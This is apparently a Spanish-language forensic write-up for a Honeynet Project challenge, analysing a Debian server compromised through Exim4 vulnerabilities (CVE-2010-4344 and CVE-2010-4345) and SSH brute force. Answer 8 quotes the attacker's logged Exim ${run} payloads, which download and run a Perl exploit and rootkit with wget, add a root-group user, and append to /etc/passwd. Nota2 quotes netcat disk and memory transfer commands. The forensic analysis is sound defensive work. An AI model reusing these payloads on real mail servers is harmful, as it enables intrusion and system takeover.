

Challenge 7:

Análisis Forense a un Sistema Comprometido (Simple)

Submission Template

Submit your solution at <http://www.honeynet.org/challenge2010/> by 17:00 EST, Thursday, March 30th 2011. Results will be released around the third week of April.

Name (required): Fernando Quintero Camilo Zapata	Email (required): fernando.a.quintero@gmail.com ccamilozt@gmail.com
Country (optional): Colombia	Profession (optional): <input checked="" type="checkbox"/> Student <input checked="" type="checkbox"/> Security Professional <input checked="" type="checkbox"/> Trainer

Question 1. What service and what account triggered the alert?	Possible Points: 1pt
Tools Used: cat, grep Awarded Points:	
Answer 1. Analizando los logs del sistema /var/log/* El servicio sshd se alerto por un ataque de fuerza bruta usando como usuario ulysse, un usuario inexistente en el sistema. Este servicio genera los logs necesarios para alertarnos de que algo esta ocurriendo en el sistema. A menos que tengamos un sistema de monitoreo en el servicio de correo, esta alerta es la mas evidente.	

Question 2. What kind of system runs on targeted server? (OS, CPU, etc)	Possible Points: 1pt
Tools Used: cat, grep, volatily (https://code.google.com/p/volatility/) Awarded Points:	
Answer 2. Desde el volcado de memoria podemos extraer la información. Si lo contrastamos con los archivos en /etc podemos confirmarlo. System: Distro: Debian GNU/Linux 5.0 Kernel: Linux version 2.6.26-2-686 (Debian 2.6.26-26lenny1) (dannf@debian.org) (gcc version 4.1.3 20080704 (prerelease) (Debian 4.1.2-25)) #1 SMP Thu Nov 25 01:53:57 UTC 2010 Modelo del procesador 0 GenuineIntel Intel(R) Core(TM)2 CPU T7200 @ 2.00GHz	

Memoria:

249924k/262080k available (1771k kernel code, 11584k reserved, 749k data, 244k init, 0k highmem)

Disco:

1 partition ext3 (sda1)

1 swap (sda5)

Question 3. What processes were running on targeted server? Possible Points: 2pts

Tools Used: volatily

Awarded Points:

Answer 3.

Process	Pid	Uid	
init [2]	1	0	
[kthreadd]	2	0	
[migration/0]	3	0	
[ksoftirqd/0]	4	0	
[watchdog/0]	5	0	
[events/0]	6	0	
[khelper]	7	0	
[kblockd/0]	39	0	
[kacpid]	41	0	
[kacpi_notify]	42	0	
[kseriod]	86	0	
[pdflush]	123	0	
[pdflush]	124	0	
[kswapd0]	125	0	
[aio/0]	126	0	
[ksuspend_usbd]	581	0	
[khubd]	582	0	
[ata/0]	594	0	
[ata_aux]	595	0	
[scsi_eh_0]	634	0	
[kjournald]	700	0	
udev --daemon	776	0	
[kpsmoused]	1110	0	
/sbin/portmap	1429	1	
/sbin/rpc.statd	1441	102	
dhclient3 -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp3/dhclient.eth0.leases eth0	1624	0	
/usr/sbin/rsyslogd -c3	1661	0	
/usr/sbin/acpid	1672	0	
/usr/sbin/sshd	1687	0	
/usr/sbin/exim4 -bd -q30m	1942	101	
/usr/sbin/cron	1973	0	
/bin/login --	1990	0	
/sbin/getty 38400 tty2	1992	0	
/sbin/getty 38400 tty3	1994	0	
/sbin/getty 38400 tty4	1996	0	
/sbin/getty 38400 tty5	1998	0	

/sbin/getty 38400 tty6	2000	0
-bash	2042	0
sh	2065	0
memdump	2168	0
nc 192.168.56.1 8888	2169	0

Question 4. What are atacantes IP and target IP addresses?	Possible Points: 2pts
Tools Used: cat, grep, autopsy, dff	
Awarded Points:	
Answer 4.	
Este punto es critico para la identificación del incidente. En el escenario hay tres MAC identificadas, las dos que no pertenecen a la victima la “marcamos” como posible intruso hasta que se demuestre lo contrario.	
Esta información se puede extraer de las conexiones establecidas y la tabla arp que esta en memoria.	
Atacantes IP: 192.168.56.101 (08:00:27:28:5a:cc) Y 192.168.56.1 (0a:00:27:00:00:00)	
IP Objetivo: 192.168.56.102 (08:00:27:ea:81:9b)	

Question 5. What service was attacked?	Possible Points: 1pt
Tools Used: cat, grep, autopsy	
Awarded Points:	
Answer 5.	
Los servicios atacados podrían ser varios, teniendo en cuenta que un ataque de fuerza bruta al servicio ssh también cuenta. Sin embargo el ataque significativo (uso de exploits) es contra el servicio que escucha en el puerto 25, identificado como un servidor exim.	
Service : Exim4	
PID: 1942	
Owner: User with ID 101 (Debian-exim)	
Hay que poner atención que el servicio estaba corriendo como usuario <i>Debian-exim</i> , por lo tanto en caso de explotación los privilegios que el atacante obtendría serian los de un usuario sin privilegios.	

Question 6. What attacks were launched against targeted server?	Possible Points: 2pt
Tools Used:cat, grep, mount, autopsy, dff	
Awarded Points:	
Answer 6.	
Fueron dos los servicios atacados: SSH y EXIM	
Ataque contra el servicio Exim4 (Heap Overflow – CVE-2010-4344) – (Exploit remoto para ingresar al sistema)	
Ataque de escalamiento de privilegios (CVE-2010-4345) (Exploit local para escalar privilegios)	
Ataque de fuerza bruta al servicio SSH (Este ataque se hace al finalizar los ataques anteriores al servicio de correo)	

Question 7. What flaws or vulnerabilities did he exploit?	Possible Points: 2pts
Tools Used: cat, grep, autopsy, dff	

Awarded Points:

Answer 7.

Ataque contra el servicio Exim4 (Heap Overflow – CVE-2010-4344)

Ataque de escalamiento de privilegios (CVE-2010-4345)

Question 8. Were the attacks successful? Did some fail?

Possible Points: 2pts

Tools Used: cat, grep, autopsy, dff

Awarded Points:

Answer 8.

Basicamente fueron 5 intentos de explotación del exploit <http://www.exploit-db.com/exploits/15725/>

1. 2011-02-06 15:07:13
The atacante ejecuta el exploit, es posible que obtuviera un shell de root remoto si tuviera un shell inverso configurado en la maquina 192.168.56.1, sin embargo el sistema exim4 registra ejecución de comandos directamente en el puerto smtp, lo que nos hace pensar que el atacante no sabia como funcionaba el exploit.
2. 2011-02-06 15:13:41
El atacante ejecuta nuevamente el exploit, cambiando el payload[2], este ataque no puede funcionar debido a que el exploit encontrado (/tmp/c.pl) requiere dos parámetros para funcionar. Despues de esto el atacante de la IP 192.168.56.1 intenta ejecutar comandos directamente en el puerto smtp[3]
3. 2011-02-06 15:15:30
El atacante intenta ejecutar un nuevo payload[4], este ataque no va a funcionar porque el exploit c.pl requiere dos argumentos.
4. 2011-02-06 15:19:00
Nuevamente el atacante cambia el payload[5], pero este no funciona porque el comando se ejecuta con privilegios del usuario con id 101 del sistema, por lo tanto el usuario no puede ser creado.
5. 2011-02-06 15:19:19
El atacante intenta atacar con un nuevo payload[6], este ataque se realiza satisfactoriamente y el archivo rk.tar es descargado al directorio /tmp.
6. 2011-02-06 15:20:47
El atacante hace el último intento registrado intentando borrar[7] el archivo rk.tar descargado anteriormente, sin embargo la conexión se corta y el comando no se ejecuta satisfactoriamente en el sistema.

From: mainlog, rejectlog (/var/log/exim4/)

[1]. 2011-02-06 15:09:41 SMTP call from [192.168.56.1] dropped: too many unrecognized commands (last was "wget <http://192.168.56.1/file.txt>")

[2]. \${run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/82.txt -O /tmp/c.pl;perl /tmp/c.pl ; sleep 1000000'"} }

[3]. SMTP call from [192.168.56.1] dropped: too many unrecognized commands (last was "cat "ulysses:x:00:00:Ulysses:/home/ulysses:/bin/sh" >> /etc/passwd")

[4] \${run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl ; sleep 1000000'"} }

[5]\${run{/bin/sh -c "exec /bin/sh -c 'useradd --gid root --create-home --password 0 0mkpasswd -H md5 Ulyss3s) ulysses'"} }

```
[6]${run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/rk.tar -O /tmp/rk.tar; sleep 1000'}}
```

```
[7]${run{/bin/sh -c "exec /bin/sh -c 'rm /tmp/rk.tar; sleep 1000'}}
```

Question 9. What did the atacante obtain with attacks?	Possible Points: 2pts
Tools Used: evidence from sda1 (dd file)	
Awarded Points:	
Answer 9.	
<p>El intruso pudo ejecutar el script c.pl alojado en /tmp También pudo descargar el archivo rk.tar en el directorio /tmp, no hay evidencia que indique que el intruso pudo ejecutar comandos adicionales a los intentados con el exploit.</p>	

Question 10. Did the atacante download files? Which ones? Give a quick analysis of those files.	Possible Points: 3pts
Tools Used: mount, grep, cat, search in Internet	
Awarded Points:	
Answer 10.	
<p>Si, el atacante descargó dos archivos en la maquina:</p> <p>/tmp/c.pl /tmp/rk.tar</p> <p>c.pl: Es un exploit para la vulnerabilidad local CVE-2010-4345 este permite escalar privilegios y asociarlo a un socket remoto, si el sitio remoto esta escuchando en el puerto indicado, es posible obtener un shell de root.</p> <p>rk.tar: Parece ser un rootkit conocido, mas información en: http://lists.debian.org/debian-security/2010/12/msg00098.html Es posible que el rootkit sea el que se encuentra en: http://packetstormsecurity.org/files/download/96767/rk.tgz</p>	

Question 11. What can you say about the atacante? (Motivation, skills, etc)	Possible Points: 2pts
Tools Used: evidence collected from Items 1-10	
Awarded Points:	
Answer 11.	
<p>El ataque tiene intención de ingresar al sistema objetivo de forma ilegal (no tiene usuario y clave legítimos en el sistema)</p> <p>El atacante no sabe muy bien como ejecutar el exploit, es posible que el atacante tenga acceso a las maquinas 192.168.56.1 y 192.168.56.101 puesto que la ejecución de ataques y comandos a smtp estan sincronizados, primero se ejecuta el exploit y luego se intentan los comandos directos en smtp.</p> <p>El atacante esta usando un exploit público, posiblemente el que se encuentra en el repositorio de exploit-db.</p>	

Question 12. Do you think these attacks were automated? Why?	Possible Points: 1pt
Tools Used: Evidence collected from Items 1-10	
Awarded Points:	
Answer 12.	

Los ataques parecen ser coordinados, se ejecutan en orden y con suficiente tiempo para hacer cambios manuales en el payload del exploit, también el ataque de fuerza bruta se inicia momentos antes de intentar agregar el usuario al sistema.

Si el ataque fuera automatizado los tiempos entre cada intento serian menores. (Ver Answer 8).

Question 13. What could have prevented the attacks?	Possible Points: 2pts
Tools Used: Evidence collected from Items 1-10	
Awarded Points:	
Answer 13.	
<p>Los ataques pudieron ser evitados si el sistema operativo <i>Debian</i> se hubiera actualizado a la fecha, las vulnerabilidades explotadas son del año 2010 y ya existen parches correspondientes para cada una de estas.</p> <p>La implementación de un IDS,IPS que proteja contra payloads ofensivos en puertos SMTP.</p> <p>La implementación de un sistema detector de ataques de fuerza bruta para el protocolo ssh, un “sshblocker” como hay muchos disponibles en Internet.</p> <p>Cambiar el puerto donde escucha el servicio sshd para evitar ataques automatizados al servicio.</p>	

Bonus. From memory image, can you say what network connections were opened and in which state ?	
Tools Used: volatily	
Awarded Points:	
Answer Bonus.	
<pre> UDP 0.0.0.0:111 0.0.0.0:0 portmap/1429 TCP 0.0.0.0:111 0.0.0.0:0 LISTEN portmap/1429 UDP 0.0.0.0:769 0.0.0.0:0 rpc.statd/1441 UDP 0.0.0.0:38921 0.0.0.0:0 rpc.statd/1441 TCP 0.0.0.0:39296 0.0.0.0:0 LISTEN rpc.statd/1441 UDP 0.0.0.0:68 0.0.0.0:0 dhclient3/1624 UNIX /dev/log UNIX /var/run/acpid.socket TCP 0000:0000:0000:0000:0000:0000:0000:0000:22 0000:0000:0000:0000:0000:0000:0000:0000:0 LISTEN sshd/1687 TCP 0.0.0.0:22 0.0.0.0:0 LISTEN sshd/1687 TCP 0000:0000:0000:0000:0000:0000:0000:0000:25 0000:0000:0000:0000:0000:0000:0000:0000:0 LISTEN exim4/1942 TCP 0.0.0.0:25 0.0.0.0:0 LISTEN exim4/1942 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065 TCP 192.168.56.102:25 192.168.56.101:37202 CLOSE sh/2065 TCP 192.168.56.102:25 192.168.56.101:37202 CLOSE sh/2065 TCP 192.168.56.102:56955 192.168.56.1:8888 ESTABLISHED nc/2169 </pre>	

Nota:

Estamos asumiendo que los logs que se obtienen del archivo `/root/.bash_history` fueron creados por el organizador del reto, puesto que la evidencia de permisos indican que la última vez que se accedió a este archivo fue en la fecha: 2011-02-06 14:04:39, mucho antes de que iniciaran los ataques.

Nota2:

Estamos suponiendo que las conexiones a los puertos 4444 y 8888 a la máquina 192.168.56.1 corresponden a los comandos ejecutados por el creador del reto para extraer las imágenes (`dd`) del disco y la memoria, los comandos se pueden extraer del volcado de memoria y son:

```
dd if=/dev/sda1 | nc 192.168.56.1 4444  
memdump | nc 192.168.56.1 8888
```

Las fechas de acceso a estos comandos no corresponden con las del ataque, por eso los descartamos. Este es el punto donde no coincidimos con las otras respuestas que dieron en el concurso, porque al mirar los últimos accesos a los comandos `dd` y `memdump`, observamos que los mismos se ejecutaron momentos antes de que iniciaran los ataques, ese es el argumento para justificar que fue un error en la creación del reto. El resto de los participantes sugieren que los comandos se ejecutaron después del ataque y fueron ejecutados por el intruso. En nuestro informe para finalizar concluimos que el intruso nunca obtuvo privilegios de root en el sistema, tan solo logró descargar el rootkit y el exploit local, pero no supo cómo ejecutarlos.

Eso es todo, esperamos que sea instructivo este solucionario. Recuerden que pueden bajar las imágenes y hacer sus propios análisis. Dudas y comentarios a los siguientes correos:

Fernando Quintero: fernando.a.quintero@gmail.com , twitter: @nonroot

Camilo Zapata: ccamilozt@gmail.com , twitter: @ccamilozt